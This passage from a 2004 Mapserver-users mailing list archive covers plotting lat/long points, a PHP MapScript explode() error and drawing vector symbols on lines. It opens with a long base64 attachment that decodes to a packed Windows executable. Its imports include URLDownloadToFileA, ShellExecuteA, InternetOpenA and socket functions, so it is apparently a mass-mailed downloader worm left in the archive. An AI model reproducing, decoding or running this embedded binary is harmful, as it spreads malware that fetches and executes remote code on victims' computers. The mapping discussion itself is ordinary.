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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAMAAAAgAACADgAAAGAAAIAAAAAA AAAAAAAAAAAAAAEAAQAAADgAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAFAAAACk8AAA6AIAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAABAAEAAAB4AACAAAAAAAAAAAAAAAAAAAABAAAAAACQAAAA kPMAABQAAAAAAAAAAAAAAKDAAAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A /wAAAP8A/wD//wAA////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3 d3d3AAAAAAAAAAAAB4iIiIiIhwAAAAAAAAAAAAc4iDM4iDcAAAAAAAAAAAAHs4MAA4OHAAAA AAAAAAAAB/8w/7A4hwAAAAAAAAAAAAe4D7//A4cAAAAAAAAAAAAHgL//v/A3AAAAAAAAAAAA Bw//v/+/AwAAAAAAAAAAAAf/v/+//7AAAAAAAAAAAAAHd3d3d3d3AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//////////////// //////////////////////////////////////////////////////////////////////// ////////gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//////// //////////+IwwAAAAABAAEAICAQAAEABADoAgAAAQAAAAAAAAAAAAAAAADY9AAAgPQAAAAA AAAAAAAAAAAAAOX0AACQ9AAAAAAAAAAAAAAAAAAA8vQAAJj0AAAAAAAAAAAAAAAAAAD89AAA oPQAAAAAAAAAAAAAAAAAAAb1AACo9AAAAAAAAAAAAAAAAAAAEvUAALD0AAAAAAAAAAAAAAAA AAAe9QAAuPQAAAAAAAAAAAAAAAAAACn1AADA9AAAAAAAAAAAAAAAAAAANPUAAMj0AAAAAAAA AAAAAAAAAABA9QAA0PQAAAAAAAAAAAAAAAAAAAAAAAAAAAAATPUAAFr1AABq9QAAAAAAAHj1 AAAAAAAAhvUAAAAAAACQ9QAAAAAAAJ71AAAAAAAArvUAAAAAAAC49QAAAAAAAMz1AAAAAAAA 2PUAAAAAAADo9QAAAAAAAEtFUk5FTDMyLkRMTABhZHZhcGkzMi5kbGwAZ2RpMzIuZGxsAG9s ZTMyLmRsbABTSEVMTDMyLmRsbABzaGx3YXBpLmRsbAB1cmxtb24uZGxsAHVzZXIzMi5kbGwA d2luaW5ldC5kbGwAd3NvY2szMi5kbGwAAABMb2FkTGlicmFyeUEAAEdldFByb2NBZGRyZXNz AABFeGl0UHJvY2VzcwAAAFJlZ0Nsb3NlS2V5AAAARGVsZXRlREMAAENvSW5pdGlhbGl6ZQAA U2hlbGxFeGVjdXRlQQAAAFN0ckR1cEEAAABVUkxEb3dubG9hZFRvRmlsZUEAAHdzcHJpbnRm QQAAAEludGVybmV0T3BlbkEAAABiaW5kAAAAAAAAAAAAAAAAAAAAAAAAa3SPUDxZmGoshaFP f0Mvh1yOr7N9L4MFZRIILHRBCMBnTiUHKLCcjZYsgGYZZqZqgkQVNaG+abdSGmGHihI8HARM SiBLvh+FlKFGVHZCMiKGDVwFNHyKwKuqsr2qHccDRKwRFRAhqWBJYDFiD71hvlakp7kpVbMs JzcRXFbArydNCLm8aHk6RyXDYEhWF78ZEX4lYqNMs8GMBo81rXk6xr+wrWpRCF0Df2OEXKMG k4tqdxikvnxMj3VhJDe+F3pKH4AvD20BKGMmMhaTDLyzrEMRwEVeB5iLmigFp7VMoce8tUoa LH1MVk3EX3hlH6AMMJoQpBORrVOOHjl4SWIuKFkyPzVwjKygERSZCrghBoUYKA9KkCmHmSmA pIayiI4nRW4phmRCfn0CbHpcc4RyDBFqFqHBtFZjTRZGWK2ZApseDK20MrUPFzyjSyulqTDA DH4nOBRys5zGpYuDNbJYiR2XDMQHnH9CsD7ATjiJp1qTT1QLsQqrjAKUZL6Hb1+tPxW7ZIsu h6IWKsIqACdAjLenLS6chwIVAmyUtmp6oQ0/lgeRjIgnpIUaMxarpYGUMogJgXFCPXy3B12a rR3FX219ZmgZLS2OwVEqsJsIHahFlH6eRKQoVL80BUQ6rZVMiR6ALMY6Jo1tuUm2HZJPK1FA rbSPs7GUk2SgLEnBhWHEfEMsBzVkFG4arTtSWxh0Uramd1EuZ7sutHmJZLFwKHRiXqhTwDmr jW0ZsGVMBplIbShyxhVwr1KnEnfFLqN0hZ+hLUUSB6xgd5cBsDw7ZFtsBTylWSs/Xbw+NzlV sktgr5pLZXdJkiGvTLFcRCqxssIgJJJCSidocZxVfrBkkMREICshC8UMsKu1pXXBN6+hBWFo fZ2HYxgFIp+oE4MSiSE3uKixPLq3hjN/lFcfBUc2dRR9tWYtZKaxGDKfBjmeYn2RhWRCUbzA ZgtOd0M9XBcXqMWiSh+PG6NVd0kTpL1mXa+FI2OUDym/QpA5vgusQqUnFzUjEgC9S41Qe4lT F1swIDE6jk6FtaUHEgANrlKwWsGAeD0RsrgSBpYTdRZLklaMFghRCICVPW6CxJB/f7IBqmGi EH60jXkTrydLp40WYwirl3WIx1lhdQxSna4NNLNerlRDcQachS0ZY8CngK2TKFDCl2cxd0so RACUljt+tW+H ----------xdmgceywmngtwixnwwes-- From lindsay at lcblanton.com Sun May 30 16:29:14 2004 From: lindsay at lcblanton.com (Lindsay C. Blanton) Date: Sun, 30 May 2004 18:29:14 -0500 Subject: [Mapserver-users] Plotting Multiple Lat/Long points and setting extents Message-ID: <5D91E1B9C012CF45A170862C86D9FBC709DDD4@srv1.lcblanton-int.local> Stephen, Bart, Many thanks for pointing me in the right direction. I have a lot to digest. Warm regards, Lindsay ---------------------------------------- Lindsay C. Blanton Webmaster http://www.radioreference.com > -----Original Message----- > From: Stephen Woodbridge [mailto:woodbri at swoodbridge.com] > Sent: Sunday, May 30, 2004 8:09 AM > To: Lindsay C. Blanton > Cc: mapserver-users at lists.gis.umn.edu > Subject: Re: [Mapserver-users] Plotting Multiple Lat/Long > points and setting extents > > > Lindsay, > > This is a virtual data source that has been discussed many > times in the > archive and I think there may be an example on the wiki. Briefly, you > need to calculate the bounding box of the points or set the > default. You > might want to define a border distance like 1-2% of the > extents so the > point on the edges are more visible. Then you draw (and label? them) > using mapscript and your done. > > Here is one example of a virtual data source, it may not be > the best one > for your needs: > http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?VirtualSpatialDat a Here is a php Mapscript page: http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?PHPMapScript -Steve W. Lindsay C. Blanton wrote: > > Anyone have any suggestions or ideas on how to do this as listed > below? > > Surprisingly, no one responded... ;-( > > -Lb > > > ---------------------------------------- > Lindsay C. Blanton > > -----Original Message----- > From: Lindsay C. Blanton > Sent: Friday, May 28, 2004 8:29 AM > To: mapserver-users at lists.gis.umn.edu > Subject: [Mapserver-users] Plotting Multiple Lat/Long points and > setting extents > > Everyone, > > Say for instance I have a list of Lat/Long points that I want to > plot on a map that has existing SHP file layers. I'd like to plot > each of these points, and have the extent of the map set such that > all of the points are displayed on the map, but set a default extent > if only one point is plotted. > > Does anyone know how I can do this? > > Lindsay > > ---------------------------------------- > Lindsay C. Blanton > From muchemijg at yahoo.com Mon May 31 01:37:35 2004 From: muchemijg at yahoo.com (julius muchemi) Date: Mon, 31 May 2004 01:37:35 -0700 (PDT) Subject: [Mapserver-users] mscalculate() and explode() In-Reply-To: <10c8c0e10cc41a.10cc41a10c8c0e@shaw.ca> Message-ID: <20040531083735.28222.qmail@web14427.mail.yahoo.com> --0-2129600517-1085992655=:28075 Content-Type: text/plain; charset=us-ascii Yes the array explode has worked as per your instructions Could also somebody sought me out on this next error on the same coding Fatal error: [MapServer Error]: msCalculateScale(): Invalid image extent. in C:\Program Files\Apache Group\Apache2\htdocs\Nakmap\nakint.php on line 19 AARON KONING wrote: The PHP function 'explode' requires two arguments and you have only provided one. Change the explode function on line 18 to include the two arguments as per below. Function definition from php.net: array explode ( string separator, string string [, int limit]) Aaron ----- Original Message ----- From: julius muchemi Date: Saturday, May 29, 2004 5:57 am Subject: [Mapserver-users] mscalculate() and explode() > i have ahead with the project and after displaying the the layer > now want to add zoom and pan capabilities to the previous code. > I'm still on windows 2000. > i have the following error in browser which i dont know how to > solve > > Warning: Wrong parameter count for explode() in C:\Program > Files\Apache Group\Apache2\htdocs\Nakmap\nakint.php on line 18 > Fatal error: [MapServer Error]: msCalculateScale(): Invalid image > extent. in C:\Program Files\Apache > Group\Apache2\htdocs\Nakmap\nakint.php on line 19 > The code looks like this: > ?php > dl("php_mapscript_4.0.1.dll"); > $map_path = "C:/Program Files/Apache Group/Apache2/htdocs/Nakmap/"; > $map = ms_newMapObj($map_path."nakuru.map"); > $val_zsize=3; > $check_pan="CHECKED"; > ?> > > > > > > > " MEHOD="POST"> > > > { > $extent_to_set=explode("EXTENT"); > $map- > >setextent($extent_to_set[0],$extent_to_set[1],$extent_to_set[2],$extent_to_set[3]);$my_extent=ms_newpointObj(); > $my_point->setXY("mapa_x", "mapa_y"); > $my_extent = ms_newrectObj(); > $my_extent = $map->setextent($extent_to_set[0], $extent_to_set[1], > $extent_to_set[2], $extent_to_set[3]); > } > ?> > > $zoom_factor=("zoom")*("zsize"); > if ($zoom_factor==0) > { > $zoom_factor=1; > $check_pan="CHECKED"; > $CHECK_zout=""; > $check_zin=""; > } > else if ($zoom_factor<0) > { > $check_pan=""; > $check_zout="CHECKED"; > $check_zin=""; > } > else > { > $check_pan=""; > $check_zout=""; > $check_zin="CHECKED"; > } > $Val_zsize=abs($zoom_factor); > $map->zoompoint ($zoom_factor, $my_point, $map->width, $map- > >height, $my_extent); > $image = $map->draw(); > $image_url=$image->saveWebImage(); > $extent_to_html = $map->EXTENT->minx." ".$map->EXTENT->miny." > ".$map->EXTENT->maxx." ".$map->EXTENT->maxy; > ?> > Could trace anything wrong with my zoom and pan code. SPecifically > this code > $map- > >setextent($extent_to_set[0],$extent_to_set[1],$extent_to_set[2],$extent_to_set[3]);and > $extent_to_html = $map->EXTENT->minx." ".$map->EXTENT->miny." > ".$map->EXTENT->maxx." ".$map->EXTENT->maxy; > as seem to be source of all the above errors > Muchemi > > > --------------------------------- > Do you Yahoo!? > Friends. Fun. Try the all-new Yahoo! Messenger --------------------------------- Do you Yahoo!? Friends. Fun. Try the all-new Yahoo! Messenger --0-2129600517-1085992655=:28075 Content-Type: text/html; charset=us-ascii
Yes the array explode has worked as per your instructions
 
Could also somebody sought me out on this next error on the same coding
 
 
Fatal error: [MapServer Error]: msCalculateScale(): Invalid image 
extent. in C:\Program Files\Apache Group\Apache2\htdocs\Nakmap\nakint.php on line 19


AARON KONING <aaronkoning at shaw.ca> wrote:
The PHP function 'explode' requires two arguments and you have only provided one. Change the explode function on line 18 to include the two arguments as per below.

Function definition from php.net:

array explode ( string separator, string string [, int limit])

Aaron



----- Original Message -----
From: julius muchemi
Date: Saturday, May 29, 2004 5:57 am
Subject: [Mapserver-users] mscalculate() and explode()

> i have ahead with the project and after displaying the the layer
> now want to add zoom and pan capabilities to the previous code.
> I'm still on windows 2000.
> i have the following error in browser which i dont know how to
> solve
>
> Warning: Wrong parameter count for explode() in C:\Program
> Files\Apache Group\Apache2\htdocs\Nakmap\nakint.php on line 18
> Fatal error: [MapServer Error]: msCalculateScale(): Invalid image
> extent. in C:\Program Files\Apache
> Group\Apache2\htdocs\Nakmap\nakint.php on line 19
> The code looks like this:
> ?php
> dl("php_mapscript_4.0.1.dll");
> $map_path = "C:/Program Files/Apache Group/Apache2/htdocs/Nakmap/";
> $map = ms_newMapObj($map_path."nakuru.map");
> $val_zsize=3;
> $check_pan="CHECKED";
> ?>
>
>
>
>
>
>


Do you Yahoo!?
Friends. Fun. Try the all-new Yahoo! Messenger --0-2129600517-1085992655=:28075-- From karhof at web.de Mon May 31 03:23:48 2004 From: karhof at web.de (Karsten Hoffmann) Date: Mon, 31 May 2004 12:23:48 +0200 Subject: [Mapserver-users] problems with symbols on lines Message-ID: <1074025409@web.de> This is a MIME encoded message. --STEFAN40bb07b775e6 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Hello, I'm experimenting with symbols and I think that there are some problems with drawing symbols on lines. I've tried to draw simple vector-symbols on lines. There were no problemes with closed vector-symbols but when I tried to draw non-closed vector symbols on lines the mapserver closed and filled them. Is this perhaps an error in the source code? I'm using MapServer 4.0 and 4.1 on Windows 2000 and XP. To better unterstand me I send you a small image of the drawn symbols beside a line. The symbol-definition of a simple cross is the following: SYMBOL NAME "kreuz1" TYPE VECTOR POINTS 0.5 0 0.5 1 -99 -99 0 0.5 1 0.5 END STYLE 1 15 1 15 END END The Layer in the Mapfile: LAYER NAME Linie2 TYPE LINE STATUS DEFAULT FEATURE POINTS 2 80 95 80 END END CLASS STYLE SYMBOL "punkt" # this is just a filled circle for the basic line SIZE 1 COLOR 0 0 0 END STYLE SYMBOL "kreuz1" SIZE 12 COLOR 0 0 0 OFFSET 1 -12 END END END Why does Mapserver close and fill the cross-symbol? The Mapserver draws the same symbol correctly when I'm using it on a point. I can also use TrueTypeFonts as symbols on lines but I can't set the OFFSET-Parameters to draw the symbols beside the line. Mapserver draws always the TrueType-symbols on the line. I could use a PIXMAP-symbol for the cross. I think that this is also possible with the OFFSET-Parameter. Thank you for any help, Karsten Hoffmann _____________________________________________________________________ Endlich SMS mit Bildern versenden! Das Bild selbst ist dabei gratis, Sie bezahlen lediglich den Versand. http://freemail.web.de/?mc=021195 --STEFAN40bb07b775e6 Content-Type: image/x-png; name="symbol_line.png" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="symbol_line.png" iVBORw0KGgoAAAANSUhEUgAAAkcAAAA1CAIAAADEVNhDAAAABGdBTUEAALGOfPtRkwAAACBj SFJNAAB6JQAAgIMAAPn/AACA6AAAdTAAAOpgAAA6lwAAF2+XqZnUAAADyklEQVR4nGL8//8/ wygYBaNgFIyCUTAsAEAAMQ20A0bBKBgFo2AUjAKqAYAAGq3VRsEoGAWjYBQMHwAQQKO12igY BaNgFIyC4QMAAmi0VhsFo2AUjIJRMHwAQACN1mqjYBSMglEwCoYPAAig0VptFIyCUTAKRsHw AQABNFqrjYJRMApGwSgYPgAggEZrtVEwCkbBKBgFwwcABNBorTYKRsEoGAWjYPgAgAAitlZj ZGQkydxR9aPqR9WPqh9VP6qeFurxA4AAIqGvNtg8Nqp+VP2o+lH1o+pHpno8ACCASBuBHGwe G1U/qn5U/aj6UfUjUz0uABBAJM+rDTaPjaofVT+qflT9qPqRqR4rAAggclaLDDaPjaofVT+q 